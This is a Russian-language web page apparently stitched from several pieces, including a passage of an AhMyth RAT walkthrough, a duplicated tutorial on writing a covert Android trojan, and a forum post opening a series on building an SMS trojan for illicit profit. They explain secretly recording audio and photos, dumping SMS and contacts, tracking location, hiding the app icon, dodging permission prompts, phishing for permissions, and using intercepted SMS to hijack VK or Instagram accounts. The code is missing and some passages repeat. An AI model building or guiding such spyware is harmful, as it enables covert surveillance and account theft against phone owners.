Нашему вниманию будет предложено меню из семи пунктов, которое открывает доступ к разным функциям программы.

При подключении к устройству возможны небольшие перебои в работе сервера, однако потом подключение восстанавливается. Немного терпения!

Камера.

Для начала заглянем в раздел Camera. Выбери камеру: фронталку (Front) или основную (Back) — и можешь сделать снимок нажатием на кнопку Snap. Правда, у меня почему-то не получилось толком сфотографировать, хотя все мои камеры на устройстве были успешно инициализированы.

Камера работает, а фото не получается. Печаль!

Файловый менеджер.

Файловый менеджер здесь не такой продвинутый, как в других подобных утилитах, однако все равно это очень полезная вещь. С его помощью можно как минимум скачивать нужные нам файлы с зараженного устройства. Как видишь, начальная директория — это корневой каталог, к которому есть доступ только с правами администратора.

File Manager

Микрофон.

Эта функция позволяет использовать микрофон устройства в фоновом режиме и записать все, что «слышит» телефон в течение указанного времени (в окне Seconds нужно числом задать продолжительность записи в секундах). Далее жмем Record и ждем. Полученный файл можно прослушать прямо в окне программы или сохранить себе на машину.

Превращаем зараженный телефон в диктофон

Геопозиция.

На мой взгляд, это самая интересная возможность AhMyth. Если на инфицированном устройстве включена передача геоданных, ты сможешь узнать геопозицию человека с точностью до десяти метров. Известно, что неопытные пользователи очень редко вспоминают об этом параметре и оставляют его включенным. Плюс некоторые приложения (те же карты), использующие передачу геоданных, когда-нибудь да заставят человека включить эту функцию.

Тут можно узнать геопозицию зараженного телефона

Контакты.

С помощью этой функции можно вытащить весь список контактов, которые записаны в телефоне. Есть возможность скачать весь список контактов себе на машину.

Получаем список контактов

SMS.

Еще один очень любопытный раздел. С его помощью мы можем отправить кому-то SMS или просмотреть и скачать все сообщения, которые пришли на это устройство.

Чтобы отправить SMS, зайди во вкладку Send SMS, укажи номер телефона получателя (поле TO://), а в поле Message вбей желаемый текст сообщения. После этого останется только нажать на кнопку SEND.

Эту функцию можно использовать для сброса паролей учетных записей владельца зараженного устройства, например, для взлома «Вконтакте» или Instagram.

Мы можем отправить сообщение любому получателю
И даже просмотреть список сообщений

Журнал вызовов.

Этот раздел открывает перед нами возможность просмотреть список телефонных вызовов. Тут представлено четыре блока информации о каждом вызове: номер, с которым связывалось зараженное устройство; название контакта, к которому привязан этот номер на зараженном устройстве; время длительности вызова (в секундах); тип вызова (входящий или исходящий).

Журнал вызовов

Очень полезный инструмент — разумеется, в умелых руках.

Как защититься от RAT?

Как бы банально это ни звучало, никогда не давай свой телефон в чужие руки и не устанавливай сомнительные приложения. На самом деле это практически единственный способ обеспечить собственную безопасность. И конечно же, всегда обращай внимание на предупреждения системы о возможном вреде, который может причинить устройству скачанное приложение.

Напутствие.

Надеюсь, что ты будешь использовать утилиту AhMyth RAT только в исследовательских целях на своих личных устройствах. Не забывай: «Чем больше сила, тем больше и ответственность»!

Эксплойт — Информационная безопасность, анонимность, хакерство и тайны интернета.

Форсайт — Кибербезопасность, уроки по хакерству и беспощадные вирусы.

Библиотека хакера — Литература по информационной безопасности и хакингу. Полезные материалы. Сливы курсов и обучений.

Арсенал хакера — Все необходимое для продвинутого хакера. Хакерские устройства, шпионские гаджеты и другие находки с AliExpress.

Social Engineering — Канал посвященный Социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, OSINT, Пентест, Даркнету и все что с ним связано. Добро пожаловать ;-)

S.E.Book — Литература социального инженера.

Источник.

Как хакеры создают трояны для Андроид?

  • 1 Как написать троян на Андроид
  • 2 Каркас
  • 3 Информация о местоположении
  • 4 Список установленных приложений
  • 5 Дамп СМС
  • 6 Скрытая запись аудио
  • 7 Скрытая съемка
  • 8 Складываем все вместе
  • 9 Задания по расписанию
  • 10 Снимок при включении экрана
  • 11 Запуск при загрузке
  • 12 Запись аудио по команде
  • 13 Отправка данных на сервер
  • 14 Выводы

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

Использовать его следует так:

Записи в файле будут выглядеть примерно так:

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

Использовать его можно, например, так:

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.

Складываем все вместе

С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.

Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.

Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.

Задания по расписанию

Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:

Mexico

Active member

Приветствую! Планирую сделаю серию гайдов по написанию смс трояна на эту замечательную ось. Это будет вступительная часть, думаю, вы все поймете. Поехали!

Начиналось все с жажды наживы. Да и думаю у всех тех, кто читает эту статью есть это желание. Поэтому мы вы ее и читаете, давайте по честному. Я не скрываю, что хотел подзаработать данным способом, что является незаконным. Благо я уже нашел место в этом мире и занялся более выгодной и неприхотливой работой.

Я нигде не брал исходники, я хотел сделать свой проект на полностью чистой основе. Выкладываю я это лишь для того, чтобы обогатить свой и ваш опыт в данной сфере.

ПРИМЕНЕНИЕ ПОДОБНОГО ПО ОТНОШЕНИЮ К ЛЮДЯМ С ЦЕЛЬЮ ПОЙМАТЬ ЛЕГКОГО БАБЛА КАРАЕТСЯ ЗАКОНОМ!

Среду разработки для андроид приложений выберем вполне обычную для таких случаев: Android Studio. Как же установить его и приступить к работе? Сейчас разберем.

1. Перейдите на сайт

и установите версию для вашего устройства.

2. Соглашаетесь со всеми условиями, выбираете эмулятор ( Сразу советую ставить Nexus 5X API 28 x86 как у меня ) И ожидайте установку всех необходимых пакетов и собственно эмулятора, это может занять длительное время!!

3. У вас откроется окошко, создайте новый проект. Соглашаетесь со всем до выбора активити.

4. Активити советую выбирать Empty, так, думаю, будет более удобнее писать.

5. Все, у вас все открылось и готово собственно к написанию кода!

Как только сделали проект, сразу стоит зайти в AndroidManifest.xml. Именно оттуда мы будем стартовать. Мы же пишем СМС приложение, да? Так нам нужны разрешение, чтобы наш троян мог отправлять/просматривать/удалять/пересылать сообщения. За все отвечает этот xml файлик. Именно этот текстовый файлик одна из самых главных частей проекта. Там будут условия, например: Что делать нашему приложению когда приходит смс? Что будет когда телефон перезагрузился? Какие разрешения нужны?

Пока что отделаемся только разрешениями на эту часть статьи. Выставим их!

Вот так это должно выглядеть после того, как вы все сделаете.

Но, если вы и выставили эти разрешения, они не будут активированы. Вам нужно чтобы пользователь их подтвердил, окошечко подтверждения не будет вылазить если вы все выставите в xml файле, вам нужно прописать вызов этих окон ручками. А андроид манифест это проводник вашего приложения, глаза и уши вашего трояна, так сказать.

Все будет действовать по одной схеме и все будет начинаться с класса MainActivity. Именно он будет задействован когда пользователь откроет наш подарочек. Именно из этого класса мы будем вызывать другие классы, он будет отправной точкой нашего приложения.

Пользователь открыл приложение —-> вызов MainActivity ——> вызов других классов.

В MainActivity я впихал все необходимое, маскировка и показывание фишинг окна для того, чтобы юзер дал нам разрешения для СМС.

Вот и закончилась 1 часть моей серии. Здесь мы обсудили именно основы и приступили к планировки нашего приложения. Отправной путь пройден, осталось только кодить и кодить! В следующей части мы научимся маскировать, показывать фальшивое окно для фишинга, воровать смски и закрепляться в системе. Если поддержите — то хорошо, будет целый цикл. Остановился пока только на этом, всем удачи.

Понравилась статья? Поделить с друзьями:
  • Труды не напрасны как пишется правильно
  • Троян как пишется на английском
  • Труды насмарку как пишется правильно
  • Троюрная как пишется
  • Трудочасы как пишется